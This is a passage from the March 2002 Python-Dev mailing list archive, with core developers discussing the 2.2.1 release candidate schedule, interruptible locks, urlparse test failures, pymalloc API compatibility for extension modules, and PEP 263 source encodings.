In-Reply-To: Your message of "Sat, 16 Mar 2002 04:41:10 EST."
 <LNBBLJKPBEHFEDALKOLCOEAGOFAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEAGOFAA.tim.one@comcast.net>
Message-ID: <200203181423.g2IENd722219@pcp742651pcs.reston01.va.comcast.net>

> > It's one of the few places where code can be blocked in a
> > system call (if you want to call a lock wait a system call -- it's
> > close enough for me)
> 
> I'd be more upset about that if it weren't the *purpose* of
> lock.acquire() to block <wink>.  If a user doesn't want to block,
> they should poll, acquire-with-timeout, or fix their bad
> assumptions.

I was thinking of the situation where a user learning about threads
and locks gets in trouble in an interactive session, by typing
something that grabs a lock that won't ever be released.  Telling them
they shouldn't have done that isn't going to help them.

IMO this is the same kind of situation as comparing a recursive list
to itself: this used to crash due to a stack overflow, and we cared
enough about this "don't do that then" situation to fix it.

> > and a ^C doesn't stop it, and that can be annoying at times.
> >
> > Of course, if it's not the main thread, signals including SIGINT
> > shouldn't do anything, but that's a separate issue.
> 
> Why should the main thread act differently?

By fiat, only the main thread in Python is supposed to get signals.

> > Breaking the main thread IMO is useful behavior for interactive
> > programs and for scripts invoked from the command line.
> 
> Being able to interrupt any thread may be useful.  I guess I don't
> see what's especially useful about breaking the main thread.  If my
> program is hosed, I'd just as soon kill the whole thing.

Interactively, the main thread is important.

> > (In practice, this is probably only interesting for interactive
> > use -- if you hang your main thread on a deadlock, there's no way
> > to get your prompt back, and that may mean no way to figure out
> > what went wrong or save stuff you wanted to save.
> 
> Hmm.  The "save stuff" use may be most valuable for non-interactive
> long-running jobs, assuming that it's possible to save stuff despite
> that the rest of your threads remain deadlocked (implying they're
> all holding *some* lock).  I suppose if you can guess *which* lock
> the main thread broke out of, you could at least release that one
> and hope for some progress ...

I wasn't thinking of long-running non-interactive jobs.  If you design
one of those, you should know what you are doing.  I was thinking of
the poor interactive user who hung their interpreter by accident.

> I don't know.  If the possibility were there, I expect one could,
> with care, rely on its details to build some more-or-less useful
> scheme on top of it -- at least on platforms where it worked.  It's
> really not all that attractive on its own; maybe learning how to
> build efficient interruptible locks x-platform could lead to a more
> general gimmick, though.

Yeah, unfortunately the only implementation technique I have to offer
right now is to turn all acquire calls internally into a loop around
an acquire call with a timeout in the order of 1 second, and to check
signals each time around the loop. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 18 14:25:39 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:25:39 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "17 Mar 2002 21:01:16 GMT."
 <2mvgbuvrhf.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net>
 <2mvgbuvrhf.fsf@starship.python.net>
Message-ID: <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net>

> Things are looking as if this might actually happen.

I have one concern: an awful large number of patches went into 2.2.1
in a very short time, and I worry a bit that one release candidate may
not be sufficient to make sure that we really didn't introduce any new
bugs.  Perhaps we should consider to issue a second release candidate,
or at least have a waiting time longer than 1 week between rc and
final.  (I'd be happy with 2 weeks.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 18 14:26:59 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:26:59 -0500
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: Your message of "Mon, 18 Mar 2002 17:29:41 +1200."
 <200203180529.RAA27906@s454.cosc.canterbury.ac.nz>
References: <200203180529.RAA27906@s454.cosc.canterbury.ac.nz>
Message-ID: <200203181426.g2IEQxm22246@pcp742651pcs.reston01.va.comcast.net>

> I had an idea last night concerning what to do
> with functions like string.join that don't quite
> belong as methods of a string, plus constants
> like string.uppercase etc.
> 
> Someone suggested making the os.* routines
> class methods of 'file'. So how about making
> these things class methods of 'str'?
> 
> e.g.
> 
>   mystring = str.join(["spam", "eggs"], ',')
> 
> reads quite nicely.

I still like

    ",".join(["spam", "eggs"])

much better.

But str.letters and so on have my blessing.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Mon Mar 18 14:36:37 2002
From: mwh@python.net (Michael Hudson)
Date: 18 Mar 2002 14:36:37 +0000
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Guido van Rossum's message of "Mon, 18 Mar 2002 09:25:39 -0500"
References: <2m663z120p.fsf@starship.python.net> <2mvgbuvrhf.fsf@starship.python.net> <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2m4rjex7re.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> > Things are looking as if this might actually happen.
> 
> I have one concern: an awful large number of patches went into 2.2.1
> in a very short time, and I worry a bit that one release candidate may
> not be sufficient to make sure that we really didn't introduce any new
> bugs.

I think the time argument may be a red herring; I'm not sure there are
so many people checking the branch out that it really makes any
difference.

But I agree there have been a lot of changes, and some pretty subtle
ones.

> Perhaps we should consider to issue a second release candidate,
> or at least have a waiting time longer than 1 week between rc and
> final.  (I'd be happy with 2 weeks.)

How about releasing 2.2.1c1, waiting two weeks and then deciding
whether we need a c2?  In an ideal world, changing the candidate
release into a final release would just be a matter of changing
version numbers.

Two weeks gets us pretty near Easter; I may not be around so much for
the Easter weekend.

Cheers,
M.

-- 
  I've reinvented the idea of variables and types as in a
  programming language, something I do on every project.
                                          -- Greg Ward, September 1998


From guido@python.org  Mon Mar 18 14:40:26 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:40:26 -0500
Subject: [Python-Dev] add a bunch of tests to test_urlparse
In-Reply-To: Your message of "Mon, 18 Mar 2002 08:00:40 CST."
 <15509.62216.922417.851753@12-248-41-177.client.attbi.com>
References: <15509.62216.922417.851753@12-248-41-177.client.attbi.com>
Message-ID: <200203181440.g2IEeQL22699@pcp742651pcs.reston01.va.comcast.net>

> Bug 450225 references a bunch of URL parsing tests based on RFC
> 2396.  I've added them to test_urlparse.py.  The problem is, two of
> them fail.  Should I
> 
>     * check in test_urlparse.py & create an output/test_urlparse that
>       reflects those two errors

Definitely not; it's too easy to forget about it.

>     * check in test_urlparse.py & create an output/test_urlparse that
>       reflects how those two problematic URLs ought to be parsed

Only if you plan to check in a fix to urlparse.py ASAP.

>     * comment out those two failing tests, and generate a 0-error
>       output/test_urlparse file

Possibly, if you don't have time to work on a fix right away.

>     * do nothing

Personally, I think the best solution is to post a bug report to SF
quoting the two tests, and leave them out of the test suite unless you
have a fix.

> Those two failing tests are:
> 
>     urljoin('http://a/b/c/d;p?q', '?y')
>     expected 'http://a/b/c/?y',
>          got 'http://a/b/c/d;p?y'
> 
>     urljoin('http://a/b/c/d;p?q', ';x')
>     expected 'http://a/b/c/;x',
>          got 'http://a/b/c/d;x'
> 
> Finally, this uses the old test format.  Since so much of the test script
> gets touched, should I go ahead and convert to unittest?

That's an entirely different question.  If you feel like it, go
ahead.  (Obviously the asserts given on SF are useless.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 18 14:41:40 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:41:40 -0500
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: Your message of "Mon, 18 Mar 2002 15:00:23 +0100."
 <3C95F2F7.8918A430@lemburg.com>
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
 <3C95F2F7.8918A430@lemburg.com>
Message-ID: <200203181441.g2IEfei22746@pcp742651pcs.reston01.va.comcast.net>

> > I assume from previous discussions here that _PyCore_ObjectMalloc
> > is indeed supposed to be private and not exposed from the main
> > module/dll.
> 
> That would break lots of code... basically all code using
> the macros instead of the functions, I guess.

Hm, I thought it was explicitly the case that only (the statically
linked part of) the core would ever use these macros.  So why would
there be 3rd party code breakage?

> > I have patches for both these modules.  However, I wonder if a more
> > pragmatic option is to expose this core function.  It would allow
> > PyObject_NEW to continue to work as before.
> 
> +1

-1.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 18 14:52:09 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:52:09 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "18 Mar 2002 14:36:37 GMT."
 <2m4rjex7re.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net> <2mvgbuvrhf.fsf@starship.python.net> <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net>
 <2m4rjex7re.fsf@starship.python.net>
Message-ID: <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>

[Guido]
> > I have one concern: an awful large number of patches went into 2.2.1
> > in a very short time, and I worry a bit that one release candidate may
> > not be sufficient to make sure that we really didn't introduce any new
> > bugs.

[Michael]
> I think the time argument may be a red herring; I'm not sure there are
> so many people checking the branch out that it really makes any
> difference.

I was more thinking that you've been working so hard that your error
rate might have gone up. :-)

> But I agree there have been a lot of changes, and some pretty subtle
> ones.

That's the real reason to be cautious.

> > Perhaps we should consider to issue a second release candidate,
> > or at least have a waiting time longer than 1 week between rc and
> > final.  (I'd be happy with 2 weeks.)
> 
> How about releasing 2.2.1c1, waiting two weeks and then deciding
> whether we need a c2?  In an ideal world, changing the candidate
> release into a final release would just be a matter of changing
> version numbers.

Sounds good, but that means two full weeks of willpower exercises.  Or
did you think you wouldn't get any pressure to add more last-minute
fixes to rc2? :-)

> Two weeks gets us pretty near Easter; I may not be around so much for
> the Easter weekend.

I don't mind about the exact timing, and assuming there are no
disasters, not much would need to be done.

(Off-topic: shouldn't the new date/time contain an easterdate()
method? :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Mon Mar 18 14:56:21 2002
From: mwh@python.net (Michael Hudson)
Date: 18 Mar 2002 14:56:21 +0000
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Guido van Rossum's message of "Mon, 18 Mar 2002 09:52:09 -0500"
References: <2m663z120p.fsf@starship.python.net> <2mvgbuvrhf.fsf@starship.python.net> <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net> <2m4rjex7re.fsf@starship.python.net> <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2mhendrkkq.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> [Guido]
> > > I have one concern: an awful large number of patches went into 2.2.1
> > > in a very short time, and I worry a bit that one release candidate may
> > > not be sufficient to make sure that we really didn't introduce any new
> > > bugs.
> 
> [Michael]
> > I think the time argument may be a red herring; I'm not sure there are
> > so many people checking the branch out that it really makes any
> > difference.
> 
> I was more thinking that you've been working so hard that your error
> rate might have gone up. :-)

Quite possibly.

> > But I agree there have been a lot of changes, and some pretty subtle
> > ones.
> 
> That's the real reason to be cautious.
> 
> > > Perhaps we should consider to issue a second release candidate,
> > > or at least have a waiting time longer than 1 week between rc and
> > > final.  (I'd be happy with 2 weeks.)
> > 
> > How about releasing 2.2.1c1, waiting two weeks and then deciding
> > whether we need a c2?  In an ideal world, changing the candidate
> > release into a final release would just be a matter of changing
> > version numbers.
> 
> Sounds good, but that means two full weeks of willpower exercises.

I think the effort of cleaning things up for rc1 has given me
sufficient grouchiness for this.

> Or did you think you wouldn't get any pressure to add more
> last-minute fixes to rc2? :-)
> 
> > Two weeks gets us pretty near Easter; I may not be around so much for
> > the Easter weekend.
> 
> I don't mind about the exact timing, and assuming there are no
> disasters, not much would need to be done.

OK, so my plan is: get 2.2.1c1 out; then wait and see what happens.

Cheers,
M.

-- 
  Java sucks. [...] Java on TV set top boxes will suck so hard it
  might well inhale people from off  their sofa until their heads
  get wedged in the card slots.              --- Jon Rabone, ucam.chat


From fredrik@pythonware.com  Mon Mar 18 14:56:51 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Mon, 18 Mar 2002 15:56:51 +0100
Subject: [Python-Dev] pymalloc on Windows
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>              <3C95F2F7.8918A430@lemburg.com>  <200203181441.g2IEfei22746@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <014b01c1ce8d$268697b0$0900a8c0@spiff>

guido wrote:

> > > I have patches for both these modules.  However, I wonder if a =
more
> > > pragmatic option is to expose this core function.  It would allow
> > > PyObject_NEW to continue to work as before.
> >
> > That would break lots of code... basically all code using
> > the macros instead of the functions, I guess.
>=20
> Hm, I thought it was explicitly the case that only (the statically
> linked part of) the core would ever use these macros.  So why would
> there be 3rd party code breakage?

because module implementors read the fine manual?

http://www.python.org/doc/current/api/allocating-objects.html

    "TYPE* PyObject_NEW(TYPE, PyTypeObject *type)=20

    "Return value: New reference.=20

    "Macro version of PyObject_New(), to gain performance
    at the expense of safety. This does not check type for
    a NULL value. "

and given that most calls to PyObject_New (at least in our code)
passes in the address of a statically allocated Type object, there's
little reason to use a null-checking version...

(a quick grep indicates that we have about 100 PyObject_NEW for
each call to PyObject_New...)

</F>



From nas@python.ca  Mon Mar 18 15:30:20 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 07:30:20 -0800
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8C@ge0057exch01.agere.com>; from vladimir.marangozov@optimay.com on Mon, Mar 18, 2002 at 12:57:19PM +0100
References: <4C99842BC5F6D411A6A000805FBBB19958DD8C@ge0057exch01.agere.com>
Message-ID: <20020318073020.A21278@glacier.arctrix.com>

Vladimir Marangozov wrote:
> I had a quick look. I'm not happy with it for two reasons:
> 
> - it removes all those useful comments in pymem.h and objimpl.h
> - the overall picture of the memory APIs in less clear than before
>   (and there are no docs trying to clarify the issue)

It's not finished yet.  I plan to straighten out the comments in the
next version.  The new APIs will have to be documented as well.

> API Summary
> -----------
> 
> Raw malloc API:       PyMem_{MALLOC, REALLOC, FREE}
>                       PyMem_{NEW, DEL}
> 
>                       PyMem_{Malloc, Realloc, Free}
>                       PyMem_{New, Del}
> 
> Object malloc API:    PyObject_{MALLOC, REALLOC, FREE}
>                       PyObject_{Malloc, Realloc, Free}
> 
>                       PyObject_{New, NewVar, Del}
>                       PyObject_GC_{New, NewVar, Del}
> 
> Python's internal
> malloc API:           PyCore_{Malloc, Realloc, Free}

That doesn't solve the problem of broken extension modules (modules that
mix PyMem_{NEW, DEL, MALLOC, FREE}, PyObject_{New, Del}, malloc and free
or that call PyObject_* with the GIL).

We can do two things about this problem.  First, we can say the hell
with broken extension modules and keep the current API.  Alternatively,
we can expose a new object malloc API that is documented not to be
thread safe and that may not use the system malloc() and free().

Personally, I don't care which approach we take but everyone must know
which one we have decided on.  If we decide to break the extension
modules then we need to make sure users know about it when we upgrade
(e.g. huge message in NEWS and on the release page, documentation on how
to disable pymalloc if people have trouble).

If I get time today I will create another patch implementing the
alternative approach. 

  Neil


From barry@zope.com  Mon Mar 18 15:27:54 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 18 Mar 2002 10:27:54 -0500
Subject: [Python-Dev] Idea - place to put string functions and consts
References: <200203180529.RAA27906@s454.cosc.canterbury.ac.nz>
 <200203181426.g2IEQxm22246@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15510.1914.551906.593851@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> I still like

    GvR>     ",".join(["spam", "eggs"])

    GvR> much better.

Me took, especially when it's spelled

    COMMA = ','
    ...
    COMMA.join(['spam', 'eggs'])

I use that a lot.  The neat thing is that you don't actually have to
do anything to get both.  This ought to put the join-as-builtin
argument to bed, right? ;)

    GvR> But str.letters and so on have my blessing.

Me too!  Very elegant approach to reducing the last few
"import string" still necessary.

-Barry


From guido@python.org  Mon Mar 18 15:30:54 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 10:30:54 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Your message of "18 Mar 2002 14:56:21 GMT."
 <2mhendrkkq.fsf@starship.python.net>
References: <2m663z120p.fsf@starship.python.net> <2mvgbuvrhf.fsf@starship.python.net> <200203181425.g2IEPdj22231@pcp742651pcs.reston01.va.comcast.net> <2m4rjex7re.fsf@starship.python.net> <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
 <2mhendrkkq.fsf@starship.python.net>
Message-ID: <200203181530.g2IFUtJ23873@pcp742651pcs.reston01.va.comcast.net>

> OK, so my plan is: get 2.2.1c1 out; then wait and see what happens.

+1

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Mon Mar 18 15:35:43 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 07:35:43 -0800
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <200203181441.g2IEfei22746@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Mon, Mar 18, 2002 at 09:41:40AM -0500
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au> <3C95F2F7.8918A430@lemburg.com> <200203181441.g2IEfei22746@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020318073543.B21278@glacier.arctrix.com>

Guido van Rossum wrote:
> Hm, I thought it was explicitly the case that only (the statically
> linked part of) the core would ever use these macros.  So why would
> there be 3rd party code breakage?

Nope, that was never the case, AFAIK.

  Neil


From guido@python.org  Mon Mar 18 15:47:33 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 10:47:33 -0500
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: Your message of "Mon, 18 Mar 2002 07:35:43 PST."
 <20020318073543.B21278@glacier.arctrix.com>
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au> <3C95F2F7.8918A430@lemburg.com> <200203181441.g2IEfei22746@pcp742651pcs.reston01.va.comcast.net>
 <20020318073543.B21278@glacier.arctrix.com>
Message-ID: <200203181547.g2IFlX024021@pcp742651pcs.reston01.va.comcast.net>

> Guido van Rossum wrote:
> > Hm, I thought it was explicitly the case that only (the statically
> > linked part of) the core would ever use these macros.  So why would
> > there be 3rd party code breakage?
> 
> Nope, that was never the case, AFAIK.
> 
>   Neil

Sigh, I must've been confused by some other set of macros that had
this property. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Mon Mar 18 15:49:36 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 16:49:36 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3663tho4v.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> My point is that encouraging \xNN-escaping would be greatly
> facilitated if Emacs did _not_ treat regular strings as text.  After
> all, they aren't, except in the U.S.<wink>  I want Emacs to encourage
> users to conform to Python's view of what belongs in there, not to
> force Python to accept whatever Emacs can stuff in.

This is not (primarily) about Emacs. People may have used string
literals to denote byte strings in the past, and they may even have
gone beyond ASCII for that. They need to convert some of those into
pure-ASCII-with-escapes, which preserving text strings. This is not
something you can do automatically.

Regards,
Martin



From paul@prescod.net  Mon Mar 18 15:53:10 2002
From: paul@prescod.net (Paul Prescod)
Date: Mon, 18 Mar 2002 07:53:10 -0800
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de> <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <3C960D66.D194BBE0@prescod.net>

"Stephen J. Turnbull" wrote:
> 
>...
> 
> I don't see any need for a deviation of the implementation from the
> spec.  Just slurp in the whole file in the specified encoding. 

That's phase 2. It's harder to implement so it won't be in Python 2.3.
They are trying to get away with changing the *output* of the
lexer/parser rather than the *input* because the lexer/parser code
probably predates Unicode and certainly predates Guido's thinking about
internationalization issues. We're moving in baby steps.

> ... Then
> cast the Unicode characters in ordinary literal strings down to
> bytesize (my preference, probably with errors on Latin-1<0.5 wink>) or
> reencode them (Guido's and your suggestion).  People who don't like
> the results in their non-Unicode literal strings (probably few) should
> use hex escapes.  Sure, you'll have to rewrite the parser in terms of
> UTF-16.  But I thought that was where you were going anyway.

Sure, but a partial implementation now is better than a perfect
implementation at some unspecified time in the future.

> If not, it should be nearly trivial to rewrite the parser in terms of
> UTF-8 (since it is a superset of ASCII and non-ASCII is currently only
> allowed in comments or guarded by a (Unicode)? string literal AFAIK).
> The main issue would be anything that involves counting characters
> (not bytes!), I think.  

That would be an issue. Plus it would be the first place that the Python
interpreter used UTF-8 as an internal representation. So it would also
be a half-step, but it might involve more redoing later.

 Paul Prescod


From vladimir.marangozov@optimay.com  Mon Mar 18 15:57:06 2002
From: vladimir.marangozov@optimay.com (Vladimir Marangozov)
Date: Mon, 18 Mar 2002 16:57:06 +0100
Subject: [Python-Dev] Re: Activating pymalloc
Message-ID: <4C99842BC5F6D411A6A000805FBBB19958DD8F@ge0057exch01.agere.com>

Hi,

[Neil]
> 
> > API Summary
> > -----------
> > 
> > Raw malloc API:       PyMem_{MALLOC, REALLOC, FREE}
> >                       PyMem_{NEW, DEL}
> > 
> >                       PyMem_{Malloc, Realloc, Free}
> >                       PyMem_{New, Del}
> > 
> > Object malloc API:    PyObject_{MALLOC, REALLOC, FREE}
> >                       PyObject_{Malloc, Realloc, Free}
> > 
> >                       PyObject_{New, NewVar, Del}
> >                       PyObject_GC_{New, NewVar, Del}
> > 
> > Python's internal
> > malloc API:           PyCore_{Malloc, Realloc, Free}
> 
> That doesn't solve the problem of broken extension modules 
> (modules that mix PyMem_{NEW, DEL, MALLOC, FREE}, PyObject_{New, Del}, 
> malloc and free or that call PyObject_* with the GIL).

Whatever you do, broken extensions will remain broken.
Currently they work because we don't use another malloc.

To save pain with pymalloc enabled, though, you can redirect
PyObject_{NEW, NEW_VAR, DEL} to PyObject_{New, NewVar, Del}
because the former would be deprecated under the 'new' scheme.
This would also have the side effect on 'fixing' extensions
that use the macros instead of the functions.

> 
> We can do two things about this problem.  First, we can say the hell
> with broken extension modules and keep the current API. Alternatively,
> we can expose a new object malloc API that is documented not to be
> thread safe and that may not use the system malloc() and free().

This doesn't repair broken extensions.
Under the second suggestion, all APIs would be malloc/free, and you'll
introduce yet another one, just to find out after some time that people
will mix this new API with the others just as well...

The doc issue is important, though, and a warning in NEWS is mandatory
if pymalloc is enabled.


Vladimir


From Jack.Jansen@oratrix.com  Mon Mar 18 16:18:16 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 18 Mar 2002 17:18:16 +0100
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <200203181452.g2IEq9F23071@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <C10684D0-3A8B-11D6-A2B1-0030655234CE@oratrix.com>

I would be in favor of a c2 release (although I think that waiting 2 
weeks might be overkill: why not 1 week, or even 5 days?). There is one 
fix forthcoming from Just that I would really really like to have in 
2.2.1, because it makes the IDE object and module browser actually 
usable on MacOSX. He promised it "today", but I don't know in what 
timezone:-)

But: this isn't in the core except for MacPython (the IDE can be used in 
MachoPython, but that's clearly labeled as experimental and you have to 
go out of your way to build it), so I could also either do a 
MacPython-only c2 or delay MacPython c1 until this fix as materialized.

What do you think?
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From martin@v.loewis.de  Mon Mar 18 15:47:14 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 16:47:14 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>
 <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3adt5ho8t.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> I don't see any need for a deviation of the implementation from the
> spec.  

You probably haven't looked at the code of the Python parser, either.

> Just slurp in the whole file in the specified encoding.  Then cast
> the Unicode characters in ordinary literal strings down to bytesize

It's not that simple. Or, perhaps, it is - but still somebody needs to
write this. I won't find the time for a stage 2 implementation anytime
soon, but I still would like to see the feature in Python 2.3.

Even without looking at the parser code, you find two alternative
implementations. Trust me that you will find more alternatives when
you start writing the parser, and more problems. There is a number of
aspects that need to be preserved. Performance is one of them, usage
of the tokenizer for pgen is another.

Regards,
Martin


From nas@python.ca  Mon Mar 18 16:29:20 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 08:29:20 -0800
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8F@ge0057exch01.agere.com>; from vladimir.marangozov@optimay.com on Mon, Mar 18, 2002 at 04:57:06PM +0100
References: <4C99842BC5F6D411A6A000805FBBB19958DD8F@ge0057exch01.agere.com>
Message-ID: <20020318082920.A21620@glacier.arctrix.com>

Vladimir Marangozov wrote:
> [Neil]
> > Alternatively, we can expose a new object malloc API that is
> > documented not to be thread safe and that may not use the system
> > malloc() and free().
> 
> This doesn't repair broken extensions.  Under the second suggestion,
> all APIs would be malloc/free, and you'll introduce yet another one,
> just to find out after some time that people will mix this new API
> with the others just as well...

No, the new APIs would default to using pymalloc.  "Broken" extensions
would still work because the old APIs would always use the malloc().

  Neil


From martin@v.loewis.de  Mon Mar 18 16:18:00 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 17:18:00 +0100
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8F@ge0057exch01.agere.com>
References: <4C99842BC5F6D411A6A000805FBBB19958DD8F@ge0057exch01.agere.com>
Message-ID: <m3n0x5g893.fsf@mira.informatik.hu-berlin.de>

Vladimir Marangozov <vladimir.marangozov@optimay.com> writes:

> Whatever you do, broken extensions will remain broken.
> Currently they work because we don't use another malloc.

Neil's point is that with his approach, we can activate pymalloc, and
the broken extensions continue to work. This is a desirable property.

> To save pain with pymalloc enabled, though, you can redirect
> PyObject_{NEW, NEW_VAR, DEL} to PyObject_{New, NewVar, Del}
> because the former would be deprecated under the 'new' scheme.
> This would also have the side effect on 'fixing' extensions
> that use the macros instead of the functions.

The counter argument here is that people even use PyObject_New
incorrectly, releasing the memory with some other API. Under Neil's
patch, module authors would have to actively change their extensions
to make use of pymalloc. They would also have a chance to test their
code, since pymalloc would be activated in the standard installation.

> > Alternatively,
> > we can expose a new object malloc API that is documented not to be
> > thread safe and that may not use the system malloc() and free().
> 
> This doesn't repair broken extensions.

Well, there are broken extensions, and extensions that don't work
properly. Merely activating pymalloc might have the effect that broken
extensions which currently work properly stop working. Under Neil's
change, they will continue to work.

Yes, this does mean that all PyObject_* families of memory API become
deprecated.

> Under the second suggestion, all APIs would be malloc/free, and you'll
> introduce yet another one, just to find out after some time that people
> will mix this new API with the others just as well...

People won't do that, because their code crashes when they test it. It
is the "it crashes but I changed NOTHING" cases that backwards
compatibility is concerned about.

Regards,
Martin


From vladimir.marangozov@optimay.com  Mon Mar 18 16:43:02 2002
From: vladimir.marangozov@optimay.com (Vladimir Marangozov)
Date: Mon, 18 Mar 2002 17:43:02 +0100
Subject: [Python-Dev] Re: Activating pymalloc
Message-ID: <4C99842BC5F6D411A6A000805FBBB19958DD90@ge0057exch01.agere.com>

[Neil]
> 
> Vladimir Marangozov wrote:
> > [Neil]
> > > Alternatively, we can expose a new object malloc API that is
> > > documented not to be thread safe and that may not use the system
> > > malloc() and free().
> > 
> > This doesn't repair broken extensions.  Under the second suggestion,
> > all APIs would be malloc/free, and you'll introduce yet another one,
> > just to find out after some time that people will mix this new API
> > with the others just as well...
> 
> No, the new APIs would default to using pymalloc.  "Broken" extensions
> would still work because the old APIs would always use the malloc().

Which is what I said: "broken" extensions remain "broken", but work.
They will never use pymalloc, unless they're fixed. There's a new API
pointing to pymalloc, and you hope that people won't mix it again.
And, this implies that the whole Python core is changed to use pymalloc
explicitly through this API, otherwise the benefits of pymalloc's
introduction are none. Fine by me, if everybody fully understands this
and agrees with it.

Vladimir


From vladimir.marangozov@optimay.com  Mon Mar 18 16:51:39 2002
From: vladimir.marangozov@optimay.com (Vladimir Marangozov)
Date: Mon, 18 Mar 2002 17:51:39 +0100
Subject: [Python-Dev] Re: Activating pymalloc
Message-ID: <4C99842BC5F6D411A6A000805FBBB19958DD91@ge0057exch01.agere.com>

Hi,

[Martin]
> 
> Vladimir Marangozov <vladimir.marangozov@optimay.com> writes:
> 
> > Whatever you do, broken extensions will remain broken.
> > Currently they work because we don't use another malloc.
> 
> Neil's point is that with his approach, we can activate pymalloc, and
> the broken extensions continue to work. This is a desirable property.

Understood.

On the other hand, an undesirable property is that perfectly correct
extensions will not use pymalloc and won't have any chance of using it
unless they are reworked.

Vladimir


From fdrake@acm.org  Mon Mar 18 16:59:56 2002
